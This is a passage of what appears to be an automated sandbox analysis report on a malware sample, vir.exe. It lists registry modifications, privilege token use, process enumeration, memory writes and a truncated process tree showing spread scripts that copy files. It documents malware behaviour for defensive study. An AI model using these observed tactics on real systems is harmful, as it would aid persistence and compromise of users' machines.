Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\12\IEFixedFontName = "Raavi"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\15\IEPropFontName = "Vijaya"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\25\IEPropFontName = "PMingLiu"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\30\IEPropFontName = "Microsoft Yi Baiti"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\10	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\12\IEPropFontName = "Raavi"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\34\IEFixedFontName = "Iskoola Pota"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\38\IEPropFontName = "MV Boli"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\14\IEFixedFontName = "Kalinga"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\31	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\33\IEFixedFontName = "Times New Roman"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\18\IEFixedFontName = "Kartika"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\24\IEPropFontName = "MS PGothic"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\36\IEFixedFontName = "Myanmar Text"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\36	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\20\IEPropFontName = "Leelawadee UI"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\21	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\29	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\5\IEFixedFontName = "Courier New"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\15	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\16\IEPropFontName = "Vani"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\20	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\22	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\22\IEFixedFontName = "Sylfaen"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\38	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\28	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\30	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\35	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\7	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\10\IEPropFontName = "Kokila"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\33\IEPropFontName = "Times New Roman"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\34\IEPropFontName = "Iskoola Pota"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\15\IEFixedFontName = "Vijaya"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\27\IEPropFontName = "Ebrima"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\28\IEPropFontName = "Gadugi"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\4\IEPropFontName = "Times New Roman"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\6\IEPropFontName = "Times New Roman"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\11\IEPropFontName = "Shonar Bangla"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\13\IEFixedFontName = "Shruti"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\17\IEPropFontName = "Tunga"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\3\IEFixedFontName = "Courier New"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\32\IEFixedFontName = "Times New Roman"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\29\IEFixedFontName = "Gadugi"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\30\IEFixedFontName = "Microsoft Yi Baiti"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\31\IEFixedFontName = "Times New Roman"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\35\IEPropFontName = "Estrangelo Edessa"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\19\IEFixedFontName = "Cordia New"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\28\IEFixedFontName = "Gadugi"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\32	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\37\IEPropFontName = "Leelawadee UI"	reg.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\SlowContextMenuEntries = 6024b221ea3a6910a2dc08002b30309d6e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	VXepUMX.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	VXepUMX.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	VXepUMX.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{5d656fd9-0000-0000-0000-d01200000000}	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe

Modifies registry class 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\psiphon	3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\psiphon\ = "URL:psiphon"	3.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\psiphon\shell\open\command	3.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\psiphon\shell	3.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\psiphon\shell\open	3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\psiphon\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\vir_8f67239b-dc79-48ab-8a0d-55b6c5eabf76\\bloatware\\3.exe\" -- \"%1\""	3.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings	cmd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\psiphon\URL Protocol	3.exe

Runs net.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
6084	PING.EXE
5712	PING.EXE
2996	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4424	tasklist.exe
4424	tasklist.exe
2116	msedge.exe
2116	msedge.exe
3432	msedge.exe
3432	msedge.exe
5764	WinaeroTweaker-1.40.0.0-setup.tmp
5764	WinaeroTweaker-1.40.0.0-setup.tmp
4828	identity_helper.exe
4828	identity_helper.exe
4048	powershell.exe
4048	powershell.exe
4048	powershell.exe
4048	powershell.exe
4048	powershell.exe
4048	powershell.exe
4048	powershell.exe
4048	powershell.exe
4048	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
3444	kQHioulRPhZaQbACXr9gjsus.exe
3444	kQHioulRPhZaQbACXr9gjsus.exe
3444	kQHioulRPhZaQbACXr9gjsus.exe
3444	kQHioulRPhZaQbACXr9gjsus.exe
1220	powershell.exe
1220	powershell.exe
1220	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
5988	powershell.exe
5988	powershell.exe
5988	powershell.exe
3116	powershell.exe
3116	powershell.exe
3116	powershell.exe
5296	powershell.exe
5296	powershell.exe
5296	powershell.exe
2244	powershell.EXE
2244	powershell.EXE
2244	powershell.EXE
416	powershell.exe
416	powershell.exe
416	powershell.exe
1528	msedge.exe
1528	msedge.exe
1528	msedge.exe
1528	msedge.exe
5072	VXepUMX.exe
5072	VXepUMX.exe
5072	VXepUMX.exe
5072	VXepUMX.exe
5072	VXepUMX.exe
5072	VXepUMX.exe
5072	VXepUMX.exe
5072	VXepUMX.exe
5072	VXepUMX.exe
5072	VXepUMX.exe
5072	VXepUMX.exe
5072	VXepUMX.exe
5072	VXepUMX.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4424	tasklist.exe
Token: SeDebugPrivilege	4232	taskkill.exe
Token: SeDebugPrivilege	4840	Rover.exe
Token: SeDebugPrivilege	2652	taskkill.exe
Token: SeDebugPrivilege	5588	taskkill.exe
Token: SeDebugPrivilege	5988	scary.exe
Token: SeDebugPrivilege	3200	taskkill.exe
Token: SeDebugPrivilege	2604	Romilyaa.exe
Token: SeDebugPrivilege	4048	powershell.exe
Token: SeDebugPrivilege	432	msbuild.exe
Token: SeDebugPrivilege	1528	powershell.exe
Token: SeManageVolumePrivilege	3444	kQHioulRPhZaQbACXr9gjsus.exe
Token: SeDebugPrivilege	1220	powershell.exe
Token: SeDebugPrivilege	4516	powershell.exe
Token: SeIncreaseQuotaPrivilege	5712	WMIC.exe
Token: SeSecurityPrivilege	5712	WMIC.exe
Token: SeTakeOwnershipPrivilege	5712	WMIC.exe
Token: SeLoadDriverPrivilege	5712	WMIC.exe
Token: SeSystemProfilePrivilege	5712	WMIC.exe
Token: SeSystemtimePrivilege	5712	WMIC.exe
Token: SeProfSingleProcessPrivilege	5712	WMIC.exe
Token: SeIncBasePriorityPrivilege	5712	WMIC.exe
Token: SeCreatePagefilePrivilege	5712	WMIC.exe
Token: SeBackupPrivilege	5712	WMIC.exe
Token: SeRestorePrivilege	5712	WMIC.exe
Token: SeShutdownPrivilege	5712	WMIC.exe
Token: SeDebugPrivilege	5712	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5712	WMIC.exe
Token: SeRemoteShutdownPrivilege	5712	WMIC.exe
Token: SeUndockPrivilege	5712	WMIC.exe
Token: SeManageVolumePrivilege	5712	WMIC.exe
Token: 33	5712	WMIC.exe
Token: 34	5712	WMIC.exe
Token: 35	5712	WMIC.exe
Token: 36	5712	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5712	WMIC.exe
Token: SeSecurityPrivilege	5712	WMIC.exe
Token: SeTakeOwnershipPrivilege	5712	WMIC.exe
Token: SeLoadDriverPrivilege	5712	WMIC.exe
Token: SeSystemProfilePrivilege	5712	WMIC.exe
Token: SeSystemtimePrivilege	5712	WMIC.exe
Token: SeProfSingleProcessPrivilege	5712	WMIC.exe
Token: SeIncBasePriorityPrivilege	5712	WMIC.exe
Token: SeCreatePagefilePrivilege	5712	WMIC.exe
Token: SeBackupPrivilege	5712	WMIC.exe
Token: SeRestorePrivilege	5712	WMIC.exe
Token: SeShutdownPrivilege	5712	WMIC.exe
Token: SeDebugPrivilege	5712	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5712	WMIC.exe
Token: SeRemoteShutdownPrivilege	5712	WMIC.exe
Token: SeUndockPrivilege	5712	WMIC.exe
Token: SeManageVolumePrivilege	5712	WMIC.exe
Token: 33	5712	WMIC.exe
Token: 34	5712	WMIC.exe
Token: 35	5712	WMIC.exe
Token: 36	5712	WMIC.exe
Token: SeDebugPrivilege	5988	powershell.exe
Token: SeDebugPrivilege	3116	powershell.exe
Token: SeDebugPrivilege	5296	powershell.exe
Token: SeDebugPrivilege	2244	powershell.EXE
Token: SeDebugPrivilege	416	powershell.exe
Token: SeDebugPrivilege	4928	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	4160	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4160	WMIC.exe

Suspicious use of FindShellTrayWindow 31 IoCs

pid	Process
2304	efsui.exe
2304	efsui.exe
2304	efsui.exe
5764	WinaeroTweaker-1.40.0.0-setup.tmp
2604	Romilyaa.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
3444	kQHioulRPhZaQbACXr9gjsus.exe

Suspicious use of SendNotifyMessage 17 IoCs

pid	Process
2304	efsui.exe
2304	efsui.exe
2304	efsui.exe
2604	Romilyaa.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
1584	msedge.exe
3444	kQHioulRPhZaQbACXr9gjsus.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
5272	3.exe
5272	3.exe
2604	Romilyaa.exe
4252	360TS_Setup.exe
3584	360TS_Setup.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 892 wrote to memory of 2468	892	vir.exe	80
PID 892 wrote to memory of 2468	892	vir.exe	80
PID 892 wrote to memory of 2468	892	vir.exe	80
PID 892 wrote to memory of 3512	892	vir.exe	81
PID 892 wrote to memory of 3512	892	vir.exe	81
PID 892 wrote to memory of 3512	892	vir.exe	81
PID 3512 wrote to memory of 2024	3512	cmd.exe	83
PID 3512 wrote to memory of 2024	3512	cmd.exe	83
PID 3512 wrote to memory of 2024	3512	cmd.exe	83
PID 3512 wrote to memory of 3788	3512	cmd.exe	85
PID 3512 wrote to memory of 3788	3512	cmd.exe	85
PID 3512 wrote to memory of 3788	3512	cmd.exe	85
PID 3512 wrote to memory of 2996	3512	cmd.exe	86
PID 3512 wrote to memory of 2996	3512	cmd.exe	86
PID 3512 wrote to memory of 2996	3512	cmd.exe	86
PID 2024 wrote to memory of 2252	2024	cmd.exe	88
PID 2024 wrote to memory of 2252	2024	cmd.exe	88
PID 2024 wrote to memory of 2252	2024	cmd.exe	88
PID 3788 wrote to memory of 1280	3788	cmd.exe	89
PID 3788 wrote to memory of 1280	3788	cmd.exe	89
PID 3788 wrote to memory of 1280	3788	cmd.exe	89
PID 2024 wrote to memory of 4784	2024	cmd.exe	90
PID 2024 wrote to memory of 4784	2024	cmd.exe	90
PID 2024 wrote to memory of 4784	2024	cmd.exe	90
PID 2024 wrote to memory of 3184	2024	cmd.exe	91
PID 2024 wrote to memory of 3184	2024	cmd.exe	91
PID 2024 wrote to memory of 3184	2024	cmd.exe	91
PID 3788 wrote to memory of 4364	3788	cmd.exe	92
PID 3788 wrote to memory of 4364	3788	cmd.exe	92
PID 3788 wrote to memory of 4364	3788	cmd.exe	92
PID 4364 wrote to memory of 4292	4364	net.exe	93
PID 4364 wrote to memory of 4292	4364	net.exe	93
PID 4364 wrote to memory of 4292	4364	net.exe	93
PID 3788 wrote to memory of 3980	3788	cmd.exe	94
PID 3788 wrote to memory of 3980	3788	cmd.exe	94
PID 3788 wrote to memory of 3980	3788	cmd.exe	94
PID 3980 wrote to memory of 3796	3980	net.exe	95
PID 3980 wrote to memory of 3796	3980	net.exe	95
PID 3980 wrote to memory of 3796	3980	net.exe	95
PID 3788 wrote to memory of 4424	3788	cmd.exe	96
PID 3788 wrote to memory of 4424	3788	cmd.exe	96
PID 3788 wrote to memory of 4424	3788	cmd.exe	96
PID 3512 wrote to memory of 4232	3512	cmd.exe	99
PID 3512 wrote to memory of 4232	3512	cmd.exe	99
PID 3512 wrote to memory of 4232	3512	cmd.exe	99
PID 3512 wrote to memory of 4752	3512	cmd.exe	100
PID 3512 wrote to memory of 4752	3512	cmd.exe	100
PID 3512 wrote to memory of 4752	3512	cmd.exe	100
PID 3512 wrote to memory of 1900	3512	cmd.exe	102
PID 3512 wrote to memory of 1900	3512	cmd.exe	102
PID 3512 wrote to memory of 4624	3512	cmd.exe	103
PID 3512 wrote to memory of 4624	3512	cmd.exe	103
PID 3512 wrote to memory of 4624	3512	cmd.exe	103
PID 3512 wrote to memory of 4840	3512	cmd.exe	104
PID 3512 wrote to memory of 4840	3512	cmd.exe	104
PID 3512 wrote to memory of 4840	3512	cmd.exe	104
PID 3512 wrote to memory of 72	3512	cmd.exe	107
PID 3512 wrote to memory of 72	3512	cmd.exe	107
PID 72 wrote to memory of 3080	72	msedge.exe	110
PID 72 wrote to memory of 3080	72	msedge.exe	110
PID 4624 wrote to memory of 2008	4624	cmd.exe	111
PID 4624 wrote to memory of 2008	4624	cmd.exe	111
PID 4624 wrote to memory of 2008	4624	cmd.exe	111
PID 3512 wrote to memory of 2772	3512	cmd.exe	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\vir.exe
"C:\Users\Admin\AppData\Local\Temp\vir.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:892
- C:\Users\Admin\AppData\Local\Temp\d81d0eef-9ac7-4ea0-9a9d-2c80b13f0f7b\ProgressBarSplash.exe
  "C:\Users\Admin\AppData\Local\Temp\d81d0eef-9ac7-4ea0-9a9d-2c80b13f0f7b\ProgressBarSplash.exe" -unpacking
  2⤵
  - Executes dropped EXE
  PID:2468
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\vir_8f67239b-dc79-48ab-8a0d-55b6c5eabf76\!main.cmd" "
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3512
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K spread.cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2024
  - - C:\Windows\SysWOW64\xcopy.exe
      xcopy 1 C:\Users\Admin\Desktop
      4⤵
      Enumerates system info in registry
      PID:2252
  - - C:\Windows\SysWOW64\xcopy.exe
      xcopy 2 C:\Users\Admin\Desktop
      4⤵
      Enumerates system info in registry
      PID:4784
  - - C:\Windows\SysWOW64\xcopy.exe
      xcopy 3 C:\Users\Admin\
      4⤵
